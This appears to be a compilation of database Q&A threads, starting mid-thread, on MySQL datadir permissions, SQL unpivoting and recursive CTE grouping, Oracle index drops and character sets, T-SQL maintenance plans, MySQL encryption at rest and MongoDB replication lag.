140904 15:25:14  InnoDB: Waiting for the background threads to start
140904 15:25:15 InnoDB: 5.5.38 started; log sequence number 1637757
140904 15:25:15 [Note] Server hostname (bind-address): '127.0.0.1'; port: 3306
140904 15:25:15 [Note]   - '127.0.0.1' resolves to '127.0.0.1';
140904 15:25:15 [Note] Server socket created on IP: '127.0.0.1'.
140904 15:25:15 [ERROR] Fatal error: Can't open and lock privilege tables: Table 'host' is read only
140904 15:25:15 mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended

So I don't know what's really going on. My first thought was on the permissions but I gave enough permissions on the new MySQL database location folder.

I will appreciate your help.

You only changed the ownership and permissions for the mysql datadir, not all the files below it. You should apply those changes recursively with the -R option.

I would do it this way:

$ sudo chown -R mysql:mysql /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/mysql

$ sudo chmod -R g+rwX /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/mysql

The datadir doesn't need to be other-accessible.

Also make sure that the full chain of directories above (/media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/) are readable & executable by mysql:mysql.


How to design database with january-december for every entry Need help for designing my database, I have a table named transaction with columns:  tr_id, item, item_cost, item_quantity, total and my problem is:

I need to divide the item_quantity from january to december:

for example:

tr_id: 1
item: sock
item_cost(each): 20
item_quantity: 12
total: 240
jan:
feb:
mar: to dec:

I need a suggestion on how to design a database with this kind of entries.

You can build a view that "unpivots" the table and divides item_quantity and total by 12 for each row. The syntax would look something like this:

CREATE VIEW transactions_pivot
AS

SELECT t.td_id, t.item, t.item_cost, x.m AS month_no, t.item_quantity/12
FROM transactions AS t
CROSS JOIN (
    SELECT 1 AS m UNION ALL
    SELECT 2 AS m UNION ALL
    SELECT 3 AS m UNION ALL
    SELECT 4 AS m UNION ALL
    SELECT 5 AS m UNION ALL
    SELECT 6 AS m UNION ALL
    SELECT 7 AS m UNION ALL
    SELECT 8 AS m UNION ALL
    SELECT 9 AS m UNION ALL
    SELECT 10 AS m UNION ALL
    SELECT 11 AS m UNION ALL
    SELECT 12 AS m) AS x

The CROSS JOIN is like a regular JOIN, but without any conditions, so it produces a cartesian product (12 rows for each row in "t"). There are prettier (and faster) ways of writing the code on different platforms, but this syntax is ANSI SQL compatible.

On a side-note: I wouldn't include "total" as a column, since that's calculated from the number of items multiplied by the item price.


Chaining together entries into groups I have a table of items pairs, which links one item with another. I'd like to divide the items into groups, so that any items which are linked together, even indirectly, are in the same group. So:

person1| person2
-------+--------
john   | george
george | paul
george | ringo
ringo  | paul
brian  | mick
brian  | keith
keith  | bill
mick   | charlie

For the purposes of this, assume the table schema is just:

create table pairs
  ( person1 varchar not null,
    person2 varchar not null,
    primary key (item1, item2)
  ) ;
create table p2g (person varchar not null, groupid int);
create table group (groupid integer primary key)

It's obviously more complex than that.

So john is linked to george, and george is linked to paul and ringo, and ringo is linked to paul; these are a self-contained group. (Note that the ringo<->paul link is actually redundant here; we don't need it to make the group, but it's present anyway.) Similarly, brian/mick/keith/bill/charlie are a group. People are unique (we're using varchar names here to make the explanation clearer, but people are actually identified by a unique ID). So what I want is some way of pulling all these together, so I'm able to create output that looks like

person  | group
--------+------
john    | 1
george  | 1
paul    | 1
ringo   | 1
brian   | 2
charlie | 2
keith   | 2
mick    | 2
bill    | 2

It is obviously possible to walk through the pairs table line-by-line (and that's what I'm doing), but this is pretty slow with a lot of pairs. The algorithm I'm using is this:

 for person1, person2 in pairs:
    group1 = db.exec("select groupid from p2g where person=:person1")
    group2 = db.exec("select groupid from p2g where person=:person2")
    if not group1 and not group2:
        # invent a new group; add person1 and person2 to it
        newgroupid = db.exec("insert into group (null)")
        db.exec("insert into p2g (:newgroupid, :person1)")
        db.exec("insert into p2g (:newgroupid, :person2)")
    else if not group1:
        # add person1 to group2
        db.exec("insert into p2g (:group2, :person1)")
    else if not group2:
        # add person2 to group1
        db.exec("insert into p2g (:group1, :person2)")
    else if group1 == group2:
        nothing to do here, everything's already OK
    else:
        # they're in two different groups.
        # Put everyone in group2 into group1
        # and delete group2
        db.exec("update p2g set groupid=:group1 where groupid=:group2")
        db.exec("delete from group where groupid=:group2")

but I feel like there's a more SQLish way to do this in batches or all in one go, rather than once per row. Is there? (I'm using SQLite, if that makes a difference.)

I've tried using recursive CTEs for this, which sorta works but sorta doesn't. This single query:

with bands (member, leader) as (
    select item1, item1 from pairs
    union all
    select p.item2, b.leader
        from pairs p
        inner join bands b on b.member=p.item1
) select distinct 'group:'||leader, member from bands order by leader

gives as output

group:john  | john
group:john  | george
group:john  | paul
group:john  | ringo
group:mick  | mick
group:mick  | charlie
group:mick  | keith
group:paul  | paul
group:paul  | ringo
group:paul  | george
group:ringo | ringo
group:ringo | george

which is almost right: the john and mick groups are correct! But it also contains other "groups", started from other members, and I don't know how to not include those. This seems like the right approach, but it isn't quite there. (Additionally, if the pairs table also contains "ringo -> john", i.e., the chain of people is circular, then the above query runs forever, which is also not good.)

The output of your CTE is inconsistent: john, paul, and ringo have different numbers of band members. You should go through the pairs in both directions (and then use UNION to prevent duplicates and infinite loops):

with bands (member, leader) as (
    select item1, item2 from pairs
    union
    select item2, item1 from pairs
    union
    select ... -- recursion
) ...

Now you have all possible combinations of leaders and band members, but you want only one (random but unique) leader per band. So for all rows with the same band member, choose the one with the smallest leader:

with bands as (...)
select 'group:'||min(leader), member
from bands
group by member
order by min(leader);


Why does it take a long time to drop a function based index in Oracle? I have a function based index that takes 25 minutes to create on a table of 94 Million rows.

When I drop the index, it takes 18 minutes.

Why does it take so long? I would have thought the drop would have been almost immediate? I have noticed that after ~10 minutes, the index is removed from user_indexes, but the script still executes for another ~8 minutes.

The table is partitioned, and this is an Oracle 10g RAC install. If any more information would help, I can add it as required.

Any light shed on this would be greatly appreciated.

A function-based index adds a virtual column to the table (This column is then indexed). Dropping the index removes the virtual column, which leads to a cleanup that takes time (same amount of work as the removal of a non-virtual column).


T-SQL Statement Task choose specific database name on server I try to create a simple T-SQL Statement Task by Sql Server 2014 GUI.

My flow:

Right click on Maintenance Plan
Choose Create new Maintenance Plan
Choose the type (T-SQL Statement Task)
I add by toolbox an activity for SQL Statement (a simple SELECT * INTO mytable FROM anothertable)

Now I want to choose the databases where I want to execute my task.

By property I've changed the DatabaseSelectionType to SPECIFIC but I haven't any form to choose database.

If I try with another task type (Index maintenance) I can choose the databases.

Surely, I'm wrong in some steps but I don't understand where.

Do not rely on GUI .. use TSQL instead :-)

Many options you have to do your simple task :

use 3 part naming SELECT * INTO dbname.schema.mytable FROM dbname.schema.anothertable
explicitely use use dbname; SELECT * INTO mytable FROM anothertable;
Use sqlcmd - either sqlcmd.exe or in SSMS query window
Use powershell

BTW, dont use maintenance plans - instead use Ola's maint solution


This gives you the expected output for a given date range.  May not be the most elegant though, but it includes an example of creating a Date table on the fly, although for large date ranges it will perform poorly.

DECLARE @Accounts TABLE
    (
    ACCT_ID INT NOT NULL
    , EFFDATE DATE NOT NULL
    , AMT INT NOT NULL
    )

;WITH CTE_Values AS
    (
    SELECT ACCT_ID
        , EFFDATE
        , AMT
    FROM (VALUES (1112, '12/30/2018', 500)
                , (1112, '12/25/2018', 675)
                , (1112, '12/21/2018', 187)
                , (1112, '12/19/2018', 332)
                , (1112, '12/10/2018',  92)
                , (1112, '12/3/2018', 300)
                , (2223, '12/29/2018', 225)
                , (2223, '12/20/2018', 100)
                , (2223, '12/11/2018', 525)
                , (3334, '12/31/2018',1000)
                , (3334, '12/20/2018', 600)
                , (3334, '12/14/2018', 490)
                , (3334, '12/1/2018', 350)
                , (4445, '12/20/2018', 300)
                , (4445, '12/19/2018', 250)
                , (4445, '12/12/2018', 200)
                , (4445, '12/9/2018', 150)
                , (4445, '12/6/2018', 100)
                , (4445, '12/1/2018',  50)
        ) AS P (ACCT_ID, EFFDATE, AMT)
    )
INSERT INTO @Accounts
(ACCT_ID, EFFDATE, AMT)
SELECT ACCT_ID, EFFDATE, AMT
FROM CTE_Values

/***************************************************/

DECLARE @EndDate DATE = '12/31/2018'
DECLARE @StartDate DATE = DATEADD(DAY, -5, @EndDate)

;WITH CTE_Dates AS
    (
    SELECT 0 AS Number
        , @EndDate AS TheDay
    UNION ALL
    SELECT D.Number + 1 AS Number
        , DATEADD(DAY, (D.Number + 1) * -1, @EndDate) AS TheDay
    FROM CTE_Dates AS D
    WHERE DATEADD(DAY, (D.Number + 1) * -1, @EndDate) >= @StartDate
    )
, CTE_EveryAccountEveryDay AS
    (
    SELECT A.ACCT_ID
        , D.TheDay
    FROM CTE_Dates AS D
        CROSS JOIN (SELECT DISTINCT ACCT_ID FROM @Accounts) AS A
    )
, CTE_AccountBalances AS
    (
    SELECT E.ACCT_ID
        , E.TheDay
        , A.AMT
        , PriorAMT = LAG(AMT) OVER (PARTITION BY E.ACCT_ID ORDER BY E.TheDay)
    FROM CTE_EveryAccountEveryDay AS E
        LEFT OUTER JOIN @ACcounts AS A ON A.ACCT_ID = E.ACCT_ID AND A.EFFDATE = E.TheDay
    )
, CTE_WrappingItUp AS
    (
    SELECT ACCT_ID
        , TheDay
        , AMT = COALESCE(AMT, PriorAMT, (SELECT TOP (1) AMT FROM @Accounts WHERE ACCT_ID = B.ACCT_ID AND EFFDATE <= B.TheDay ORDER BY EFFDATE DESC))
    FROM CTE_AccountBalances AS B
    )
SELECT TheDay AS EFFDATE
    , SUM(AMT) AS AMT_Total
FROM CTE_WrappingItUp
GROUP BY TheDay
ORDER BY TheDay DESC
OPTION (MAXRECURSION 0)


MySQL encryption for 'database at rest' on cloud services We are migrating our system to a cloud environment (AWS), and have been given new client requirements for having our MySQL data-at-rest encrypted.

Currently it is unclear how far this should go. It would be very simple to enable disk encryption, however it is being argued internally that this actually only mitigates against disks being stolen (physically or otherwise) but not against server breaches.

It seems there is only limited options to implement DB layer encryption with MySQL (or more accurately, it's drop in replacements like MariaDB or Percona) and there is some flaws with it currently (such as binlogs and caches are not encrypted). Also, app layer encryption would be a massive overhead as the vast majority of queries search on fields that are considered sensitive, and thus will need to be encrypted.

What is the current accepted approach to encrypting sensitive data on a MySQL database in a cloud environment? Please note this is not referring to RDS.

Encryption at rest can't address server breaches, it is only intended to mitigate cases of

physical data storage theft, and
data access by unauthorised people, e.g. cloud technicians.

MariaDB encryption wouldn't be able effectively deal with either, because stealing the drives would effectively provide root access to the system, including access to the encryption keys and complete unrestricted access to the database. This is also the case with cloud technicians, who can access backup copies of the system or peer into the filesystem by analysing the underlying datastore. MariaDB encryption can minimise the risk of intrusion, however in order to access the drive or mysql files, the attacker would have to have either root or at least mysql user privileges, and would access not only the files but also the encryption keys in that case.

A good way to ensure encryption at rest is using dm-crypt (or equivalent) to have the OS encrypting the partition where the database files are located, and entering the password manually by an authorised operator at system or RDBMS startup time (i.e. no keys stored in the system at all). This system is not particularly effective against server breaches, but it makes the data completely secure in case of physical storage theft, or access to system backups or underlying datastores.


mongo primary is showing behind the primary? mongo primary is showing behind the primary ?? Its increasing as time passes . Please suggest ?

monRepl:PRIMARY> rs.printSlaveReplicationInfo()
source: xxxxxx:27017
    syncedTo: Mon Apr 27 2015 10:39:02 GMT+0530 (IST)
    **25835 secs (7.18 hrs) behind the primary**

monRepl:PRIMARY> rs.status();
{
    "set" : "monRepl",
    "date" : ISODate("2015-04-27T12:20:38Z"),
    "myState" : 1,
    "members" : [
        {
            "_id" : 3,
            "name" : "xxxxx:27017",
            "health" : 1,
            "state" : 2,
            "stateStr" : "SECONDARY",
            "uptime" : 329104,
            "optime" : Timestamp(1430111629, 90),
            "optimeDate" : ISODate("2015-04-27T05:13:49Z"),
            "lastHeartbeat" : ISODate("2015-04-27T12:20:36Z"),
            "lastHeartbeatRecv" : ISODate("2015-04-27T12:20:37Z"),
            "pingMs" : 0,
            "syncingTo" : "yyyyyy:27017"
        },
        {
            "_id" : 5,
            "name" : "xxxxxx:27017",
            "health" : 1,
            "state" : 7,
            "stateStr" : "ARBITER",
            "uptime" : 329104,
            "lastHeartbeat" : ISODate("2015-04-27T12:20:38Z"),
            "lastHeartbeatRecv" : ISODate("2015-04-27T12:20:37Z"),
            "pingMs" : 0
        },
        {
            "_id" : 6,
            "name" : "yyyyyyy:27017",
            "health" : 1,
            "state" : 1,
            "stateStr" : "PRIMARY",
            "uptime" : 579120,
            "optime" : Timestamp(1430137238, 300),
            "optimeDate" : ISODate("2015-04-27T12:20:38Z"),
            "electionTime" : Timestamp(1429808169, 7),
            "electionDate" : ISODate("2015-04-23T16:56:09Z"),
            "self" : true
        }
    ],
    "ok" : 1
}

I don't know that I see a problem.  It says right in the second line shown that the source data is "source: xxxxxx:27017" and if you look further down, in the status results, that server is actually the secondary.  So the way I read this (and let me know if I am wrong) you are submitting the command on the Primary, but it is actually querying the secondary and saying it is over 7 hours behind the Primary.  Then you do a status and it shows the replicaSet with an optTimeDate of the same time difference.

If I were to make a guess, (and this is only a guess) I would say that one of the two machines is time-sync'd via ntp but the other is not (and the arbitrator appears to match the primary, so it is more likely the one that is time-sync'd meaning your secondary is running slow).


oracle tablespace character set I'm working with Oracle databases from 10g-r1 to 11g-r2. They are set as ISO-8859-15 (WE8ISO8859P15) character set.

I need to create a tablespace set as UTF-8 (AL32UTF8) character set inside these databases. Is it possible? What is the correct syntax?

The character set of an Oracle database is set at the database level, not tablespace level.

You have 3 options:

Recreate the database with the correct character set
Convert the database to AL32UTF8. Documentation link
Change the databases National Character Set to AL32UTF8 & change your application to use
NVARCHAR2()/NCHAR() datatypes instead of VARCHAR2() (documented at the same link as above)